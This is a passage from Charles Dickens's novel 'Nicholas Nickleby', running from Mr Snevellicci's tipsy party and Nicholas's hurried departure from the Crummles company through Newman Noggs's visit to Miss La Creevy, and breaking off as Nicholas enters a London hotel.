whole +truth must be told, that he was scarcely ever sober. He knew in his +cups three distinct stages of intoxication,--the dignified--the +quarrelsome--the amorous. When professionally engaged he never got +beyond the dignified; in private circles he went through all three, +passing from one to another with a rapidity of transition often +rather perplexing to those who had not the honour of his +acquaintance. + +Thus Mr Snevellicci had no sooner swallowed another glassful than he +smiled upon all present in happy forgetfulness of having exhibited +symptoms of pugnacity, and proposed 'The ladies! Bless their +hearts!' in a most vivacious manner. + +'I love 'em,' said Mr Snevellicci, looking round the table, 'I love +'em, every one.' + +'Not every one,' reasoned Mr Lillyvick, mildly. + +'Yes, every one,' repeated Mr Snevellicci. + +'That would include the married ladies, you know,' said Mr +Lillyvick. + +'I love them too, sir,' said Mr Snevellicci. + +The collector looked into the surrounding faces with an aspect of +grave astonishment, seeming to say, 'This is a nice man!' and +appeared a little surprised that Mrs Lillyvick's manner yielded no +evidences of horror and indignation. + +'One good turn deserves another,' said Mr Snevellicci. 'I love them +and they love me.' And as if this avowal were not made in sufficient +disregard and defiance of all moral obligations, what did Mr +Snevellicci do? He winked--winked openly and undisguisedly; winked +with his right eye--upon Henrietta Lillyvick! + +The collector fell back in his chair in the intensity of his +astonishment. If anybody had winked at her as Henrietta Petowker, +it would have been indecorous in the last degree; but as Mrs +Lillyvick! While he thought of it in a cold perspiration, and +wondered whether it was possible that he could be dreaming, Mr +Snevellicci repeated the wink, and drinking to Mrs Lillyvick in dumb +show, actually blew her a kiss! Mr Lillyvick left his chair, walked +straight up to the other end of the table, and fell upon him-- +literally fell upon him--instantaneously. Mr Lillyvick was no light +weight, and consequently when he fell upon Mr Snevellicci, Mr +Snevellicci fell under the table. Mr Lillyvick followed him, and +the ladies screamed. + +'What is the matter with the men! Are they mad?' cried Nicholas, +diving under the table, dragging up the collector by main force, and +thrusting him, all doubled up, into a chair, as if he had been a +stuffed figure. 'What do you mean to do? What do you want to do? +What is the matter with you?' + +While Nicholas raised up the collector, Smike had performed the same +office for Mr Snevellicci, who now regarded his late adversary in +tipsy amazement. + +'Look here, sir,' replied Mr Lillyvick, pointing to his astonished +wife, 'here is purity and elegance combined, whose feelings have +been outraged--violated, sir!' + +'Lor, what nonsense he talks!' exclaimed Mrs Lillyvick in answer to +the inquiring look of Nicholas. 'Nobody has said anything to me.' + +'Said, Henrietta!' cried the collector. 'Didn't I see him--' Mr +Lillyvick couldn't bring himself to utter the word, but he +counterfeited the motion of the eye. + +'Well!' cried Mrs Lillyvick. 'Do you suppose nobody is ever to look +at me? A pretty thing to be married indeed, if that was law!' + +'You didn't mind it?' cried the collector. + +'Mind it!' repeated Mrs Lillyvick contemptuously. 'You ought to go +down on your knees and beg everybody's pardon, that you ought.' + +'Pardon, my dear?' said the dismayed collector. + +'Yes, and mine first,' replied Mrs Lillyvick. 'Do you suppose I +ain't the best judge of what's proper and what's improper?' + +'To be sure,' cried all the ladies. 'Do you suppose WE shouldn't be +the first to speak, if there was anything that ought to be taken +notice of?' + +'Do you suppose THEY don't know, sir?' said Miss Snevellicci's papa, +pulling up his collar, and muttering something about a punching of +heads, and being only withheld by considerations of age. With which +Miss Snevellicci's papa looked steadily and sternly at Mr Lillyvick +for some seconds, and then rising deliberately from his chair, +kissed the ladies all round, beginning with Mrs Lillyvick. + +The unhappy collector looked piteously at his wife, as if to see +whether there was any one trait of Miss Petowker left in Mrs +Lillyvick, and finding too surely that there was not, begged pardon +of all the company with great humility, and sat down such a crest- +fallen, dispirited, disenchanted man, that despite all his +selfishness and dotage, he was quite an object of compassion. + +Miss Snevellicci's papa being greatly exalted by this triumph, and +incontestable proof of his popularity with the fair sex, quickly +grew convivial, not to say uproarious; volunteering more than one +song of no inconsiderable length, and regaling the social circle +between-whiles with recollections of divers splendid women who had +been supposed to entertain a passion for himself, several of whom he +toasted by name, taking occasion to remark at the same time that if +he had been a little more alive to his own interest, he might have +been rolling at that moment in his chariot-and-four. These +reminiscences appeared to awaken no very torturing pangs in the +breast of Mrs Snevellicci, who was sufficiently occupied in +descanting to Nicholas upon the manifold accomplishments and merits +of her daughter. Nor was the young lady herself at all behind-hand +in displaying her choicest allurements; but these, heightened as +they were by the artifices of Miss Ledrook, had no effect whatever +in increasing the attentions of Nicholas, who, with the precedent of +Miss Squeers still fresh in his memory, steadily resisted every +fascination, and placed so strict a guard upon his behaviour that +when he had taken his leave the ladies were unanimous in pronouncing +him quite a monster of insensibility. + +Next day the posters appeared in due course, and the public were +informed, in all the colours of the rainbow, and in letters +afflicted with every possible variation of spinal deformity, how +that Mr Johnson would have the honour of making his last appearance +that evening, and how that an early application for places was +requested, in consequence of the extraordinary overflow attendant on +his performances,--it being a remarkable fact in theatrical history, +but one long since established beyond dispute, that it is a hopeless +endeavour to attract people to a theatre unless they can be first +brought to believe that they will never get into it. + +Nicholas was somewhat at a loss, on entering the theatre at night, +to account for the unusual perturbation and excitement visible in +the countenances of all the company, but he was not long in doubt as +to the cause, for before he could make any inquiry respecting it Mr +Crummles approached, and in an agitated tone of voice, informed him +that there was a London manager in the boxes. + +'It's the phenomenon, depend upon it, sir,' said Crummles, dragging +Nicholas to the little hole in the curtain that he might look +through at the London manager. 'I have not the smallest doubt it's +the fame of the phenomenon--that's the man; him in the great-coat +and no shirt-collar. She shall have ten pound a week, Johnson; she +shall not appear on the London boards for a farthing less. They +shan't engage her either, unless they engage Mrs Crummles too-- +twenty pound a week for the pair; or I'll tell you what, I'll throw +in myself and the two boys, and they shall have the family for +thirty. I can't say fairer than that. They must take us all, if +none of us will go without the others. That's the way some of the +London people do, and it always answers. Thirty pound a week--it's +too cheap, Johnson. It's dirt cheap.' + +Nicholas replied, that it certainly was; and Mr Vincent Crummles +taking several huge pinches of snuff to compose his feelings, +hurried away to tell Mrs Crummles that he had quite settled the only +terms that could be accepted, and had resolved not to abate one +single farthing. + +When everybody was dressed and the curtain went up, the excitement +occasioned by the presence of the London manager increased a +thousand-fold. Everybody happened to know that the London manager +had come down specially to witness his or her own performance, and +all were in a flutter of anxiety and expectation. Some of those who +were not on in the first scene, hurried to the wings, and there +stretched their necks to have a peep at him; others stole up into +the two little private boxes over the stage-doors, and from that +position reconnoitred the London manager. Once the London manager +was seen to smile--he smiled at the comic countryman's pretending to +catch a blue-bottle, while Mrs Crummles was making her greatest +effect. 'Very good, my fine fellow,' said Mr Crummles, shaking his +fist at the comic countryman when he came off, 'you leave this +company next Saturday night.' + +In the same way, everybody who was on the stage beheld no audience +but one individual; everybody played to the London manager. When Mr +Lenville in a sudden burst of passion called the emperor a +miscreant, and then biting his glove, said, 'But I must dissemble,' +instead of looking gloomily at the boards and so waiting for his +cue, as is proper in such cases, he kept his eye fixed upon the +London manager. When Miss Bravassa sang her song at her lover, who +according to custom stood ready to shake hands with her between the +verses, they looked, not at each other, but at the London manager. +Mr Crummles died point blank at him; and when the two guards came in +to take the body off after a very hard death, it was seen to open +its eyes and glance at the London manager. At length the London +manager was discovered to be asleep, and shortly after that he woke +up and went away, whereupon all the company fell foul of the unhappy +comic countryman, declaring that his buffoonery was the sole cause; +and Mr Crummles said, that he had put up with it a long time, but +that he really couldn't stand it any longer, and therefore would +feel obliged by his looking out for another engagement. + +All this was the occasion of much amusement to Nicholas, whose only +feeling upon the subject was one of sincere satisfaction that the +great man went away before he appeared. He went through his part in +the two last pieces as briskly as he could, and having been received +with unbounded favour and unprecedented applause--so said the bills +for next day, which had been printed an hour or two before--he took +Smike's arm and walked home to bed. + +With the post next morning came a letter from Newman Noggs, very +inky, very short, very dirty, very small, and very mysterious, +urging Nicholas to return to London instantly; not to lose an +instant; to be there that night if possible. + +'I will,' said Nicholas. 'Heaven knows I have remained here for the +best, and sorely against my own will; but even now I may have +dallied too long. What can have happened? Smike, my good fellow, +here--take my purse. Put our things together, and pay what little +debts we owe--quick, and we shall be in time for the morning coach. +I will only tell them that we are going, and will return to you +immediately.' + +So saying, he took his hat, and hurrying away to the lodgings of Mr +Crummles, applied his hand to the knocker with such hearty good- +will, that he awakened that gentleman, who was still in bed, and +caused Mr Bulph the pilot to take his morning's pipe very nearly out +of his mouth in the extremity of his surprise. + +The door being opened, Nicholas ran upstairs without any ceremony, +and bursting into the darkened sitting-room on the one-pair front, +found that the two Master Crummleses had sprung out of the sofa- +bedstead and were putting on their clothes with great rapidity, +under the impression that it was the middle of the night, and the +next house was on fire. + +Before he could undeceive them, Mr Crummles came down in a flannel +gown and nightcap; and to him Nicholas briefly explained that +circumstances had occurred which rendered it necessary for him to +repair to London immediately. + +'So goodbye,' said Nicholas; 'goodbye, goodbye.' + +He was half-way downstairs before Mr Crummles had sufficiently +recovered his surprise to gasp out something about the posters. + +'I can't help it,' replied Nicholas. 'Set whatever I may have +earned this week against them, or if that will not repay you, say at +once what will. Quick, quick.' + +'We'll cry quits about that,' returned Crummles. 'But can't we have +one last night more?' + +'Not an hour--not a minute,' replied Nicholas, impatiently. + +'Won't you stop to say something to Mrs Crummles?' asked the +manager, following him down to the door. + +'I couldn't stop if it were to prolong my life a score of years,' +rejoined Nicholas. 'Here, take my hand, and with it my hearty +thanks.--Oh! that I should have been fooling here!' + +Accompanying these words with an impatient stamp upon the ground, he +tore himself from the manager's detaining grasp, and darting rapidly +down the street was out of sight in an instant. + +'Dear me, dear me,' said Mr Crummles, looking wistfully towards the +point at which he had just disappeared; 'if he only acted like that, +what a deal of money he'd draw! He should have kept upon this +circuit; he'd have been very useful to me. But he don't know what's +good for him. He is an impetuous youth. Young men are rash, very +rash.' + +Mr Crummles being in a moralising mood, might possibly have +moralised for some minutes longer if he had not mechanically put his +hand towards his waistcoat pocket, where he was accustomed to keep +his snuff. The absence of any pocket at all in the usual direction, +suddenly recalled to his recollection the fact that he had no +waistcoat on; and this leading him to a contemplation of the extreme +scantiness of his attire, he shut the door abruptly, and retired +upstairs with great precipitation. + +Smike had made good speed while Nicholas was absent, and with his +help everything was soon ready for their departure. They scarcely +stopped to take a morsel of breakfast, and in less than half an hour +arrived at the coach-office: quite out of breath with the haste they +had made to reach it in time. There were yet a few minutes to +spare, so, having secured the places, Nicholas hurried into a +slopseller's hard by, and bought Smike a great-coat. It would +have been rather large for a substantial yeoman, but the shopman +averring (and with considerable truth) that it was a most uncommon +fit, Nicholas would have purchased it in his impatience if it had +been twice the size. + +As they hurried up to the coach, which was now in the open street +and all ready for starting, Nicholas was not a little astonished to +find himself suddenly clutched in a close and violent embrace, which +nearly took him off his legs; nor was his amazement at all lessened +by hearing the voice of Mr Crummles exclaim, 'It is he--my friend, +my friend!' + +'Bless my heart,' cried Nicholas, struggling in the manager's arms, +'what are you about?' + +The manager made no reply, but strained him to his breast again, +exclaiming as he did so, 'Farewell, my noble, my lion-hearted boy!' + +In fact, Mr Crummles, who could never lose any opportunity for +professional display, had turned out for the express purpose of +taking a public farewell of Nicholas; and to render it the more +imposing, he was now, to that young gentleman's most profound +annoyance, inflicting upon him a rapid succession of stage embraces, +which, as everybody knows, are performed by the embracer's laying +his or her chin on the shoulder of the object of affection, and +looking over it. This Mr Crummles did in the highest style of +melodrama, pouring forth at the same time all the most dismal forms +of farewell he could think of, out of the stock pieces. Nor was +this all, for the elder Master Crummles was going through a similar +ceremony with Smike; while Master Percy Crummles, with a very little +second-hand camlet cloak, worn theatrically over his left shoulder, +stood by, in the attitude of an attendant officer, waiting to convey +the two victims to the scaffold. + +The lookers-on laughed very heartily, and as it was as well to put a +good face upon the matter, Nicholas laughed too when he had +succeeded in disengaging himself; and rescuing the astonished Smike, +climbed up to the coach roof after him, and kissed his hand in +honour of the absent Mrs Crummles as they rolled away. + + + +CHAPTER 31 + +Of Ralph Nickleby and Newman Noggs, and some wise Precautions, the +success or failure of which will appear in the Sequel + + +In blissful unconsciousness that his nephew was hastening at the +utmost speed of four good horses towards his sphere of action, and +that every passing minute diminished the distance between them, +Ralph Nickleby sat that morning occupied in his customary +avocations, and yet unable to prevent his thoughts wandering from +time to time back to the interview which had taken place between +himself and his niece on the previous day. At such intervals, after +a few moments of abstraction, Ralph would mutter some peevish +interjection, and apply himself with renewed steadiness of purpose +to the ledger before him, but again and again the same train of +thought came back despite all his efforts to prevent it, confusing +him in his calculations, and utterly distracting his attention from +the figures over which he bent. At length Ralph laid down his pen, +and threw himself back in his chair as though he had made up his +mind to allow the obtrusive current of reflection to take its own +course, and, by giving it full scope, to rid himself of it effectually. + +'I am not a man to be moved by a pretty face,' muttered Ralph +sternly. 'There is a grinning skull beneath it, and men like me who +look and work below the surface see that, and not its delicate +covering. And yet I almost like the girl, or should if she had been +less proudly and squeamishly brought up. If the boy were drowned or +hanged, and the mother dead, this house should be her home. I wish +they were, with all my soul.' + +Notwithstanding the deadly hatred which Ralph felt towards Nicholas, +and the bitter contempt with which he sneered at poor Mrs Nickleby-- +notwithstanding the baseness with which he had behaved, and was then +behaving, and would behave again if his interest prompted him, +towards Kate herself--still there was, strange though it may seem, +something humanising and even gentle in his thoughts at that moment. +He thought of what his home might be if Kate were there; he placed +her in the empty chair, looked upon her, heard her speak; he felt +again upon his arm the gentle pressure of the trembling hand; he +strewed his costly rooms with the hundred silent tokens of feminine +presence and occupation; he came back again to the cold fireside and +the silent dreary splendour; and in that one glimpse of a better +nature, born as it was in selfish thoughts, the rich man felt +himself friendless, childless, and alone. Gold, for the instant, +lost its lustre in his eyes, for there were countless treasures of +the heart which it could never purchase. + +A very slight circumstance was sufficient to banish such reflections +from the mind of such a man. As Ralph looked vacantly out across +the yard towards the window of the other office, he became suddenly +aware of the earnest observation of Newman Noggs, who, with his red +nose almost touching the glass, feigned to be mending a pen with a +rusty fragment of a knife, but was in reality staring at his +employer with a countenance of the closest and most eager scrutiny. + +Ralph exchanged his dreamy posture for his accustomed business +attitude: the face of Newman disappeared, and the train of thought +took to flight, all simultaneously, and in an instant. + +After a few minutes, Ralph rang his bell. Newman answered the +summons, and Ralph raised his eyes stealthily to his face, as if he +almost feared to read there, a knowledge of his recent thoughts. + +There was not the smallest speculation, however, in the countenance +of Newman Noggs. If it be possible to imagine a man, with two eyes +in his head, and both wide open, looking in no direction whatever, +and seeing nothing, Newman appeared to be that man while Ralph +Nickleby regarded him. + +'How now?' growled Ralph. + +'Oh!' said Newman, throwing some intelligence into his eyes all at +once, and dropping them on his master, 'I thought you rang.' With +which laconic remark Newman turned round and hobbled away. + +'Stop!' said Ralph. + +Newman stopped; not at all disconcerted. + +'I did ring.' + +'I knew you did.' + +'Then why do you offer to go if you know that?' + +'I thought you rang to say you didn't ring" replied Newman. 'You +often do.' + +'How dare you pry, and peer, and stare at me, sirrah?' demanded +Ralph. + +'Stare!' cried Newman, 'at YOU! Ha, ha!' which was all the +explanation Newman deigned to offer. + +'Be careful, sir,' said Ralph, looking steadily at him. 'Let me +have no drunken fooling here. Do you see this parcel?' + +'It's big enough,' rejoined Newman. + +'Carry it into the city; to Cross, in Broad Street, and leave it +there--quick. Do you hear?' + +Newman gave a dogged kind of nod to express an affirmative reply, +and, leaving the room for a few seconds, returned with his hat. +Having made various ineffective attempts to fit the parcel (which +was some two feet square) into the crown thereof, Newman took it +under his arm, and after putting on his fingerless gloves with great +precision and nicety, keeping his eyes fixed upon Mr Ralph Nickleby +all the time, he adjusted his hat upon his head with as much care, +real or pretended, as if it were a bran-new one of the most +expensive quality, and at last departed on his errand. + +He executed his commission with great promptitude and dispatch, only +calling at one public-house for half a minute, and even that might +be said to be in his way, for he went in at one door and came out at +the other; but as he returned and had got so far homewards as the +Strand, Newman began to loiter with the uncertain air of a man who +has not quite made up his mind whether to halt or go straight +forwards. After a very short consideration, the former inclination +prevailed, and making towards the point he had had in his mind, +Newman knocked a modest double knock, or rather a nervous single +one, at Miss La Creevy's door. + +It was opened by a strange servant, on whom the odd figure of the +visitor did not appear to make the most favourable impression +possible, inasmuch as she no sooner saw him than she very nearly +closed it, and placing herself in the narrow gap, inquired what he +wanted. But Newman merely uttering the monosyllable 'Noggs,' as if +it were some cabalistic word, at sound of which bolts would fly back +and doors open, pushed briskly past and gained the door of Miss La +Creevy's sitting-room, before the astonished servant could offer any +opposition. + +'Walk in if you please,' said Miss La Creevy in reply to the sound +of Newman's knuckles; and in he walked accordingly. + +'Bless us!' cried Miss La Creevy, starting as Newman bolted in; +'what did you want, sir?' + +'You have forgotten me,' said Newman, with an inclination of the +head. 'I wonder at that. That nobody should remember me who knew +me in other days, is natural enough; but there are few people who, +seeing me once, forget me NOW.' He glanced, as he spoke, at his +shabby clothes and paralytic limb, and slightly shook his head. + +'I did forget you, I declare,' said Miss La Creevy, rising to +receive Newman, who met her half-way, 'and I am ashamed of myself +for doing so; for you are a kind, good creature, Mr Noggs. Sit down +and tell me all about Miss Nickleby. Poor dear thing! I haven't +seen her for this many a week.' + +'How's that?' asked Newman. + +'Why, the truth is, Mr Noggs,' said Miss La Creevy, 'that I have +been out on a visit--the first visit I have made for fifteen years.' + +'That is a long time,' said Newman, sadly. + +'So it is a very long time to look back upon in years, though, +somehow or other, thank Heaven, the solitary days roll away +peacefully and happily enough,' replied the miniature painter. 'I +have a brother, Mr Noggs--the only relation I have--and all that +time I never saw him once. Not that we ever quarrelled, but he was +apprenticed down in the country, and he got married there; and new +ties and affections springing up about him, he forgot a poor little +woman like me, as it was very reasonable he should, you know. Don't +suppose that I complain about that, because I always said to myself, +"It is very natural; poor dear John is making his way in the world, +and has a wife to tell his cares and troubles to, and children now +to play about him, so God bless him and them, and send we may all +meet together one day where we shall part no more." But what do you +think, Mr Noggs,' said the miniature painter, brightening up and +clapping her hands, 'of that very same brother coming up to London +at last, and never resting till he found me out; what do you think +of his coming here and sitting down in that very chair, and crying +like a child because he was so glad to see me--what do you think of +his insisting on taking me down all the way into the country to his +own house (quite a sumptuous place, Mr Noggs, with a large garden +and I don't know how many fields, and a man in livery waiting at +table, and cows and horses and pigs and I don't know what besides), +and making me stay a whole month, and pressing me to stop there all +my life--yes, all my life--and so did his wife, and so did the +children--and there were four of them, and one, the eldest girl of +all, they--they had named her after me eight good years before, they +had indeed. I never was so happy; in all my life I never was!' The +worthy soul hid her face in her handkerchief, and sobbed aloud; for +it was the first opportunity she had had of unburdening her heart, +and it would have its way. + +'But bless my life,' said Miss La Creevy, wiping her eyes after a +short pause, and cramming her handkerchief into her pocket with +great bustle and dispatch; 'what a foolish creature I must seem to +you, Mr Noggs! I shouldn't have said anything about it, only I +wanted to explain to you how it was I hadn't seen Miss Nickleby.' + +'Have you seen the old lady?' asked Newman. + +'You mean Mrs Nickleby?' said Miss La Creevy. 'Then I tell you +what, Mr Noggs, if you want to keep in the good books in that +quarter, you had better not call her the old lady any more, for I +suspect she wouldn't be best pleased to hear you. Yes, I went there +the night before last, but she was quite on the high ropes about +something, and was so grand and mysterious, that I couldn't make +anything of her: so, to tell you the truth, I took it into my head +to be grand too, and came away in state. I thought she would have +come round again before this, but she hasn't been here.' + +'About Miss Nickleby--' said Newman. + +'Why, she was here twice while I was away,' returned Miss La Creevy. +'I was afraid she mightn't like to have me calling on her among +those great folks in what's-its-name Place, so I thought I'd wait a +day or two, and if I didn't see her, write.' + +'Ah!' exclaimed Newman, cracking his fingers. + +'However, I want to hear all the news about them from you,' said +Miss La Creevy. 'How is the old rough and tough monster of Golden +Square? Well, of course; such people always are. I don't mean how +is he in health, but how is he going on: how is he behaving +himself?' + +'Damn him!' cried Newman, dashing his cherished hat on the floor; +'like a false hound.' + +'Gracious, Mr Noggs, you quite terrify me!' exclaimed Miss La +Creevy, turning pale. + +'I should have spoilt his features yesterday afternoon if I could +have afforded it,' said Newman, moving restlessly about, and shaking +his fist at a portrait of Mr Canning over the mantelpiece. 'I was +very near it. I was obliged to put my hands in my pockets, and keep +'em there very tight. I shall do it some day in that little back- +parlour, I know I shall. I should have done it before now, if I +hadn't been afraid of making bad worse. I shall double-lock myself +in with him and have it out before I die, I'm quite certain of it.' + +'I shall scream if you don't compose yourself, Mr Noggs,' said Miss +La Creevy; 'I'm sure I shan't be able to help it.' + +'Never mind,' rejoined Newman, darting violently to and fro. 'He's +coming up tonight: I wrote to tell him. He little thinks I know; he +little thinks I care. Cunning scoundrel! he don't think that. Not +he, not he. Never mind, I'll thwart him--I, Newman Noggs. Ho, ho, +the rascal!' + +Lashing himself up to an extravagant pitch of fury, Newman Noggs +jerked himself about the room with the most eccentric motion ever +beheld in a human being: now sparring at the little miniatures on +the wall, and now giving himself violent thumps on the head, as if +to heighten the delusion, until he sank down in his former seat +quite breathless and exhausted. + +'There,' said Newman, picking up his hat; 'that's done me good. Now +I'm better, and I'll tell you all about it.' + +It took some little time to reassure Miss La Creevy, who had been +almost frightened out of her senses by this remarkable +demonstration; but that done, Newman faithfully related all that had +passed in the interview between Kate and her uncle, prefacing his +narrative with a statement of his previous suspicions on the +subject, and his reasons for forming them; and concluding with a +communication of the step he had taken in secretly writing to +Nicholas. + +Though little Miss La Creevy's indignation was not so singularly +displayed as Newman's, it was scarcely inferior in violence and +intensity. Indeed, if Ralph Nickleby had happened to make his +appearance in the room at that moment, there is some doubt whether +he would not have found Miss La Creevy a more dangerous opponent +than even Newman Noggs himself. + +'God forgive me for saying so,' said Miss La Creevy, as a wind-up to +all her expressions of anger, 'but I really feel as if I could stick +this into him with pleasure.' + +It was not a very awful weapon that Miss La Creevy held, it being in +fact nothing more nor less than a black-lead pencil; but discovering +her mistake, the little portrait painter exchanged it for a mother- +of-pearl fruit knife, wherewith, in proof of her desperate thoughts, +she made a lunge as she spoke, which would have scarcely disturbed +the crumb of a half-quartern loaf. + +'She won't stop where she is after tonight,' said Newman. 'That's a +comfort.' + +'Stop!' cried Miss La Creevy, 'she should have left there, weeks +ago.' + +'--If we had known of this,' rejoined Newman. 'But we didn't. +Nobody could properly interfere but her mother or brother. The +mother's weak--poor thing--weak. The dear young man will be here +tonight.' + +'Heart alive!' cried Miss La Creevy. 'He will do something +desperate, Mr Noggs, if you tell him all at once.' + +Newman left off rubbing his hands, and assumed a thoughtful look. + +'Depend upon it,' said Miss La Creevy, earnestly, 'if you are not +very careful in breaking out the truth to him, he will do some +violence upon his uncle or one of these men that will bring some +terrible calamity upon his own head, and grief and sorrow to us +all.' + +'I never thought of that,' rejoined Newman, his countenance falling +more and more. 'I came to ask you to receive his sister in case he +brought her here, but--' + +'But this is a matter of much greater importance,' interrupted Miss +La Creevy; 'that you might have been sure of before you came, but +the end of this, nobody can foresee, unless you are very guarded and +careful.' + +'What CAN I do?' cried Newman, scratching his head with an air of +great vexation and perplexity. 'If he was to talk of pistoling 'em +all, I should be obliged to say, "Certainly--serve 'em right."' + +Miss La Creevy could not suppress a small shriek on hearing this, +and instantly set about extorting a solemn pledge from Newman that +he would use his utmost endeavours to pacify the wrath of Nicholas; +which, after some demur, was conceded. They then consulted together +on the safest and surest mode of communicating to him the +circumstances which had rendered his presence necessary. + +'He must have time to cool before he can possibly do anything,' said +Miss La Creevy. 'That is of the greatest consequence. He must not +be told until late at night.' + +'But he'll be in town between six and seven this evening,' replied +Newman. 'I can't keep it from him when he asks me.' + +'Then you must go out, Mr Noggs,' said Miss La Creevy. 'You can +easily have been kept away by business, and must not return till +nearly midnight.' + +'Then he will come straight here,' retorted Newman. + +'So I suppose,' observed Miss La Creevy; 'but he won't find me at +home, for I'll go straight to the city the instant you leave me, +make up matters with Mrs Nickleby, and take her away to the theatre, +so that he may not even know where his sister lives.' + +Upon further discussion, this appeared the safest and most feasible +mode of proceeding that could possibly be adopted. Therefore it was +finally determined that matters should be so arranged, and Newman, +after listening to many supplementary cautions and entreaties, took +his leave of Miss La Creevy and trudged back to Golden Square; +ruminating as he went upon a vast number of possibilities and +impossibilities which crowded upon his brain, and arose out of the +conversation that had just terminated. + + + +CHAPTER 32 + +Relating chiefly to some remarkable Conversation, and some +remarkable Proceedings to which it gives rise + + +'London at last!' cried Nicholas, throwing back his greatcoat and +rousing Smike from a long nap. 'It seemed to me as though we should +never reach it.' + +'And yet you came along at a tidy pace too,' observed the coachman, +looking over his shoulder at Nicholas with no very pleasant +expression of countenance. + +'Ay, I know that,' was the reply; 'but I have been very anxious to +be at my journey's end, and that makes the way seem long.' + +'Well,' remarked the coachman, 'if the way seemed long with such +cattle as you've sat behind, you MUST have been most uncommon +anxious;' and so saying, he let out his whip-lash and touched up a +little boy on the calves of his legs by way of emphasis. + +They rattled on through the noisy, bustling, crowded street of +London, now displaying long double rows of brightly-burning lamps, +dotted here and there with the chemists' glaring lights, and +illuminated besides with the brilliant flood that streamed from the +windows of the shops, where sparkling jewellery, silks and velvets +of the richest colours, the most inviting delicacies, and most +sumptuous articles of luxurious ornament, succeeded each other in +rich and glittering profusion. Streams of people apparently without +end poured on and on, jostling each other in the crowd and hurrying +forward, scarcely seeming to notice the riches that surrounded them +on every side; while vehicles of all shapes and makes, mingled up +together in one moving mass, like running water, lent their +ceaseless roar to swell the noise and tumult. + +As they dashed by the quickly-changing and ever-varying objects, it +was curious to observe in what a strange procession they passed +before the eye. Emporiums of splendid dresses, the materials +brought from every quarter of the world; tempting stores of +everything to stimulate and pamper the sated appetite and give new +relish to the oft-repeated feast; vessels of burnished gold and +silver, wrought into every exquisite form of vase, and dish, and +goblet; guns, swords, pistols, and patent engines of destruction; +screws and irons for the crooked, clothes for the newly-born, drugs +for the sick, coffins for the dead, and churchyards for the buried-- +all these jumbled each with the other and flocking side by side, +seemed to flit by in motley dance like the fantastic groups of the +old Dutch painter, and with the same stern moral for the unheeding +restless crowd. + +Nor were there wanting objects in the crowd itself to give new point +and purpose to the shifting scene. The rags of the squalid ballad- +singer fluttered in the rich light that showed the goldsmith's +treasures, pale and pinched-up faces hovered about the windows where +was tempting food, hungry eyes wandered over the profusion guarded +by one thin sheet of brittle glass--an iron wall to them; half-naked +shivering figures stopped to gaze at Chinese shawls and golden +stuffs of India. There was a christening party at the largest +coffin-maker's and a funeral hatchment had stopped some great +improvements in the bravest mansion. Life and death went hand in +hand; wealth and poverty stood side by side; repletion and +starvation laid them down together. + +But it was London; and the old country lady inside, who had put her +head out of the coach-window a mile or two this side Kingston, and +cried out to the driver that she was sure he must have passed it and +forgotten to set her down, was satisfied at last. + +Nicholas engaged beds for himself and Smike at the inn where the +coach stopped, and repaired, without the delay of another moment, to +the lodgings of Newman Noggs; for his anxiety and impatience had +increased with every succeeding minute, and were almost beyond +control. + +There was a fire in Newman's garret; and a candle had been left +burning; the floor was cleanly swept, the room was as comfortably +arranged as such a room could be, and meat and drink were placed in +order upon the table. Everything bespoke the affectionate care and +attention of Newman Noggs, but Newman himself was not there. + +'Do you know what time he will be home?' inquired Nicholas, tapping +at the door of Newman's front neighbour. + +'Ah, Mr Johnson!' said Crowl, presenting himself. 'Welcome, sir. +How well you're looking! I never could have believed--' + +'Pardon me,' interposed Nicholas. 'My question--I am extremely +anxious to know.' + +'Why, he has a troublesome affair of business,' replied Crowl, 'and +will not be home before twelve o'clock. He was very unwilling to +go, I can tell you, but there was no help for it. However, he left +word that you were to make yourself comfortable till he came back, +and that I was to entertain you, which I shall be very glad to do.' + +In proof of his extreme readiness to exert himself for the general +entertainment, Mr Crowl drew a chair to the table as he spoke, and +helping himself plentifully to the cold meat, invited Nicholas and +Smike to follow his example. + +Disappointed and uneasy, Nicholas could touch no food, so, after he +had seen Smike comfortably established at the table, he walked out +(despite a great many dissuasions uttered by Mr Crowl with his mouth +full), and left Smike to detain Newman in case he returned first. + +As Miss La Creevy had anticipated, Nicholas betook himself straight +to her house. Finding her from home, he debated within himself for +some time whether he should go to his mother's residence, and so +compromise her with Ralph Nickleby. Fully persuaded, however, that +Newman would not have solicited him to return unless there was some +strong reason which required his presence at home, he resolved to go +there, and hastened eastwards with all speed. + +Mrs Nickleby would not be at home, the girl said, until past twelve, +or later. She believed Miss Nickleby was well, but she didn't live +at home now, nor did she come home except very seldom. She couldn't +say where she was stopping, but it was not at Madame Mantalini's. +She was sure of that. + +With his heart beating violently, and apprehending he knew not what +disaster, Nicholas returned to where he had left Smike. Newman had +not been home. He wouldn't be, till twelve o'clock; there was no +chance of it. Was there no possibility of sending to fetch him if +it were only for an instant, or forwarding to him one line of +writing to which he might return a verbal reply? That was quite +impracticable. He was not at Golden Square, and probably had been +sent to execute some commission at a distance. + +Nicholas tried to remain quietly where he was, but he felt so +nervous and excited that he could not sit still. He seemed to be +losing time unless he was moving. It was an absurd fancy, he knew, +but he was wholly unable to resist it. So, he took up his hat and +rambled out again. + +He strolled westward this time, pacing the long streets with hurried +footsteps, and agitated by a thousand misgivings and apprehensions +which he could not overcome. He passed into Hyde Park, now silent +and deserted, and increased his rate of walking as if in the hope of +leaving his thoughts behind. They crowded upon him more thickly, +however, now there were no passing objects to attract his attention; +and the one idea was always uppermost, that some stroke of ill- +fortune must have occurred so calamitous in its nature that all were +fearful of disclosing it to him. The old question arose again and +again--What could it be? Nicholas walked till he was weary, but was +not one bit the wiser; and indeed he came out of the Park at last a +great deal more confused and perplexed than when he went in. + +He had taken scarcely anything to eat or drink since early in the +morning, and felt quite worn out and exhausted. As he returned +languidly towards the point from which he had started, along one of +the thoroughfares which lie between Park Lane and Bond Street, he +passed a handsome hotel, before which he stopped mechanically. + +'An expensive place, I dare say,' thought Nicholas; 'but a pint of +wine and a biscuit are no great debauch wherever they are had. And +yet I don't know.' + +He walked on a few steps, but looking wistfully down the long vista +of gas-lamps before him, and thinking how long it would take to +reach the end of it and being besides in that kind of mood in which +a man is most disposed to yield to his first impulse--and being, +besides, strongly attracted to the hotel, in part by curiosity, and +in part by some odd mixture of feelings which he would have been +troubled to define--Nicholas turned back again, and walked into the +coffee-room. + +It was very handsomely furnished. The walls were ornamented with +the choicest specimens of French paper, enriched with a gilded +cornice of elegant design. The floor was covered with a rich +carpet; and two superb mirrors, one above the chimneypiece and one +at the opposite end of the room reaching from floor to ceiling, +multiplied the other beauties and added new ones of their own to +enhance the general effect. There was a rather 